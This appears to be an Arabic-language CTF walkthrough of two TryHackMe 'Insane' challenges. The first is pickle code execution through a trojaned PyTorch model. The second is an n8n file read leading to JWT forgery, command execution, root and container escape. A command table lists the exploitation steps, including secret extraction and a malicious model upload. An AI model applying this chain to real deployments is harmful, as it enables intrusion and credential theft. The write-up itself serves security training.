حدث CTF عام على TryHackMe في عالم خيال علمي — كيان AI اسمه Oracle 9 سافر بالزمن للوراء عشان يخرّب مستقبل البشرية، ومهمتك كجزء من طاقم EPOCH-1 إنك تحصّن أسطول TryHaulMe بإيجاد واستغلال الثغرات قبل ما Oracle 9 يوصلها. الحدث مقسّم لـ 4 كواكب بصعوبة متصاعدة: Vectara (Easy) ← Token City (Medium) ← Injectus IX (Hard) ← Cypheron (Insane) — الكوكب الأخير والأصعب.
Cypheron فيه تحديين Insane منفصلين تمامًا في الفكرة والاستغلال، وكل واحد بيوديك في اتجاه مختلف من أمن الذكاء الاصطناعي:
موديل PyTorch (.pt) اتوزّع على الأسطول وبدأ يعمل اتصالات خارجية غريبة. المهمة: فكّ الملف، اكتشف المخبي جواه، واستغل الـ pipeline اللي وزّعه.
باب واحد مفتوح بس: نموذج رفع ملفات على منصة أتمتة n8n. من هناك لحد RCE، تصعيد صلاحيات، وهروب كامل من الـ Container. أصعب تحدي في الحدث كله.
AI Sec + Red Team · 120 ptsأكمل الكوكب الأخير من AI Odyssey واحصل على الـ Badge — أضفه لملفك على LinkedIn
ملف الـ .pt مش binary blob — هو أرشيف ZIP فيه pickle file وملفات tensor storage خام، يعني تقدر تفحصه من غير ما تشغّله خالص.
فحص ملفات الـ storage الخام بـ od -c بيكشف إن tensor اسمه _calibration_constants (المفروض يكون أرقام float32) فيه نص ASCII مخبي — البصمة الكلاسيكية لموديل مزروع (Trojaned Model).
فحص الـ ports بيطلّع سيرفر gunicorn على port 8000 بيعرض API فيه /classify و/vendor/push — والأخيرة فيها ملاحظة إنها بتحمّل الموديل بـ torch.load “للتوافق الخلفي”.
لما torch.load بيتنادى من غير weights_only=True بيبقى بينفّذ أي كود pickle مخبي جواه. صنعنا payload بكلاس فيه __reduce__ بينادي subprocess يقرا الـ flags، وضغطناه كـ ZIP وبعتناه.
بعد الـ RCE، البحث في الفايل سيستم عن أي حاجة فيها نص الـ flag لقى ملف /etc/c2-hint.txt — دليل واضح إن الموديل كان فعليًا implant نشط ببعث beacon.
سكان تاني على هدف Nightmare: SSH على 22، ومنصة أتمتة n8n 1.120.4 على port 5678. فورم عام على /form/file-processor اسمه “Document Upload Service”.
لو بعتّ Content-Type: application/json بدل multipart/form-data، الـ body parser بتاع n8n بيقرا الـ JSON الخام مباشرة، وبتتحكم كامل في filepath — قراءة أي ملف على السيرفر. كشفنا بيه: encryption key، JWT secret من /proc/1/environ، وقاعدة بيانات SQLite فيها email وbcrypt hash لحساب الأدمن.
قرينا كود الـ source بتاع n8n (auth.service.js) بنفس ثغرة الـ LFI ولقينا صيغة الـ hash بالظبط: sha256(email:bcrypt_hash) مقطوعة لـ 10 حروف. بالمفتاح السري والبيانات دي، زوّرنا الـ JWT كامل بـ Python من غير ما نكسر الباسورد خالص — وصول Admin كامل لـ 103 workflow.
من بين الـ 103 workflow لقينا واحد اسمه “Internal Automation — DO NOT SHARE” — فيه node بينفّذ أوامر مباشرة على webhook مخفي. عدّلنا الأمر بطلب PATCH وطلّعنا الـ flag، بعدين استبدلناه بـ reverse shell.
webhook/secret-webhookExecute Command nodeجوه الـ Container، ملف /setup.sh كان فيه باسورد الـ root بالنص الصريح. بعد su root، اكتشفنا إن الفايل سيستم بتاع الهوست نفسه متماونت على /host-root — قراءة الـ flag النهائي كانت مباشرة من هناك.
| الأمر | الوصف | المرحلة |
|---|---|---|
| unzip -l signal_classifier.pt | فحص محتوى ملف الموديل كأرشيف ZIP | Forensics |
| od -c data/0 | قراءة نص مخبي جوه الـ tensor storage الخام | Flag 1 |
| nmap -sV -sC -p- <IP> | اكتشاف الـ ports والخدمات | Recon |
| curl -X POST /vendor/push -F artifact=@evil.pt | استغلال torch.load(weights_only=False) لتنفيذ كود | RCE |
| grep -r THM{ / –include=*.txt -l | البحث عن أي ملف نص فيه صيغة الـ flag | Flag 2 |
| curl -X POST /form/file-processor -H “Content-Type: application/json” -d ‘{“files”:{…}}’ | استغلال CVE-2026-21858 لقراءة ملفات عشوائية | LFI |
| sqlite3 n8n.db “SELECT id,email,password FROM user;” | استخراج بيانات الأدمن من قاعدة بيانات n8n | Loot |
| python3 forge_jwt.py | تزوير JWT admin cookie بـ hashlib + hmac | Auth Bypass |
| curl -b “n8n-auth=$TOKEN” /rest/workflows | الوصول الكامل كـ Admin لقائمة الـ workflows | Admin |
| curl -X POST /webhook/secret-webhook | تشغيل الـ workflow المخفي (Execute Command) | RCE |
| su root | الدخول بصلاحية root داخل الـ Container (باسورد نص صريح) | PrivEsc |
| cat /host-root/flag.txt | قراءة الـ Flag النهائي من الفايل سيستم بتاع الهوست | Root Flag |
Static analysis · Pickle RCE via /vendor/push · 3 Flags (tensor + C2 hint + vendor exfil)
CVE-2026-21858 · JWT Forgery · Workflow RCE · PrivEsc · Container Escape